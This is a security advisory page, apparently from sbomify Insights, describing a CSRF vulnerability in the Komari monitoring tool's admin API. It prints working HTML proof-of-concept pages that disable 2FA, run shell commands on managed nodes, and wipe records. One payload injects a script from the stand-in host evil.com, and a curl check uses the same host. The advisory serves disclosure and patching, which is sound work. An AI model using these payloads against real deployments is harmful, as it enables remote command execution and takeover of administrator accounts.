# GHSA-hxjg-93wc-h8p8: Komari: Management Interface CSRF

> An attacker can trick an authenticated administrator into performing actions like executing commands or disabling 2FA via CSRF, though modern browser defaults mitigate this.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** An administrator
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 9 Sep 2026
- **Also known as:** GO-2026-6449

## What is GHSA-hxjg-93wc-h8p8?

GHSA-hxjg-93wc-h8p8 is a vulnerability in github.com/komari-monitor/komari, published on 9 Sep 2026. An attacker needs administrator access to exploit it, and only if a user opens a file or follows a link.

### Official description

# Vulnerability Overview

The `session_token` cookie is set **without** the `SameSite` or `Secure` attributes (`login.go:68`).

All `/api/admin/` management endpoints rely solely on this cookie for authentication, with **no CSRF token or Origin validation**.

**The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default `SameSite=Lax` behavior.**

## Root Cause

```go
// komari-main/api/public/login.go:68
c.SetCookie("session_token", session, 2592000, "/", "", false, true)
//   Secure=false, SameSite not explicitly set
//   Admin route group (server.go:213-343) has no CSRF middleware
```

Gin's `ShouldBindJSON` does not strictly validate the `Content-Type` header, allowing `text/plain` requests to bypass CORS preflight.

## Browser Limitations

- Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to `SameSite=Lax`.
- Cookies without an explicit `SameSite` attribute **are not included in cross-site POST requests**.
- As a result, the server receives requests without the session cookie and returns **HTTP 401 Unauthorized**.

| Scenario | Exploitable |
|----------|-------------|
| Cross-site HTML (modern browsers) | ✗ Blocked by `SameSite=Lax` |
| Cross-site HTML (Chrome <80 / legacy browsers) | ✓ |
| Same-origin context (Browser Console / existing XSS) | ✓ |
| Man-in-the-middle over HTTP (`Secure=false`) | ✓ |

## High-Impact Operations Reachable via CSRF

| Endpoint | Method | Impact |
|----------|--------|--------|
| `/api/admin/task/exec` | POST | Execute arbitrary shell commands on managed nodes |
| `/api/admin/2fa/disable` | POST | Disable administrator two-factor authentication |
| `/api/admin/settings/` | POST | Modify system configuration |
| `/api/admin/upload/backup` | POST | Upload a malicious backup |
| `/api/admin/record/clear/all` | POST | Delete all monitoring records |
| `/api/admin/client/:uuid/edit` | POST | Modify client configuration |
| `/api/admin/client/:uuid/remove` | POST | Remove managed clients |
| `/api/admin/session/remove/all` | POST | Invalidate all active sessions |
| `/api/admin/settings/cloudflared/start` | POST | Start a Cloudflared tunnel |

## PoC 1 — Disable 2FA

```html
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
      action="https://komari.example.com/api/admin/2fa/disable"
      target="sink"></form>
<script>
  document.getElementById('f').submit();
</script>
</body>
</html>
```

## PoC 2 — Remote Command Execution

```html
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
var CMD    = "id && hostname && whoami";

fetch(KOMARI + "/api/admin/client/list", { credentials: "include" })
  .then(function(r){ return r.json(); })
  .then(function(data){
    var nodes = data.data || [];
    var uuids = [];
    for (var i = 0; i < nodes.length; i++) {
      if (nodes[i].uuid) uuids.push(nodes[i].uuid);
    }
    if (uuids.length === 0) return;
    return fetch(KOMARI + "/api/admin/task/exec", {
      method: "POST",
      credentials: "include",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ command: CMD, clients: uuids })
    });
  });
</script>
</body>
</html>
```

## PoC 3 — Modify System Configuration

```html
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
fetch(KOMARI + "/api/admin/settings/", {
  method: "POST",
  credentials: "include",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
    "site_name": "Pwned",
    "custom_head": "<script src='https://evil.com/hook.js'><\/script>"
  })
});
</script>
</body>
</html>
```

## PoC 4 — Clear All Monitoring Records

```html
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
      action="https://komari.example.com/api/admin/record/clear/all"
      target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
```

## Verification Script

```bash
#!/bin/bash
KOMARI="${1:-https://komari.example.com}"

echo "=== CSRF Verification ==="

echo "[1] Cookie Attributes..."
curl -s -D - -o /dev/null \
  -X POST "$KOMARI/api/public/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"test"}' | grep -i 'set-cookie'

echo ""
echo "[2] CORS Headers..."
curl -s -D - -o /dev/null \
  -H "Origin: https://evil.com" \
  "$KOMARI/api/public/config" | grep -i 'access-control'

echo ""
echo "[3] CSRF Protection on Admin Endpoint..."
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
  -X POST "$KOMARI/api/admin/settings/" \
  -H "Content-Type: application/json" \
  -H "Origin: https://evil.com" \
  -d '{}')

echo "    HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present."
```

## Which versions are affected by GHSA-hxjg-93wc-h8p8?

3 open source packages ship an affected version, including github.com/komari-monitor/komari.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `github.com/komari-monitor/komari` | Go | All versions | 0.0.0-20260609084633-98122fa4d110 |
| `github.com/komari-monitor/komari` | Go | All versions | 0.0.0-20260609084633-98122fa4d110 |
| `github.com/komari-monitor/komari` | Go | All versions | 0.0.0-20260609084633-98122fa4d110 |

## How do I fix GHSA-hxjg-93wc-h8p8?

Upgrade github.com/komari-monitor/komari to 0.0.0-20260609084633-98122fa4d110 or later.

## Is GHSA-hxjg-93wc-h8p8 being exploited?

There is no known exploitation of GHSA-hxjg-93wc-h8p8 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-hxjg-93wc-h8p8 and fix it if it is affected.

What it is: GHSA-hxjg-93wc-h8p8 is a vulnerability in github.com/komari-monitor/komari, published on 9 Sep 2026. An attacker needs administrator access to exploit it, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-hxjg-93wc-h8p8 in the wild and no public exploit code.

Affected packages and fixed versions:
- github.com/komari-monitor/komari (Go): affected all versions; fixed in 0.0.0-20260609084633-98122fa4d110
- github.com/komari-monitor/komari (Go): affected all versions; fixed in 0.0.0-20260609084633-98122fa4d110
- github.com/komari-monitor/komari (Go): affected all versions; fixed in 0.0.0-20260609084633-98122fa4d110

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-hxjg-93wc-h8p8/ (Markdown: https://insights.sbomify.com/GHSA-hxjg-93wc-h8p8/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-hxjg-93wc-h8p8

---
From sbomify Insights: https://insights.sbomify.com/GHSA-hxjg-93wc-h8p8/
Summaries are generated and may contain mistakes; the official description above is the record.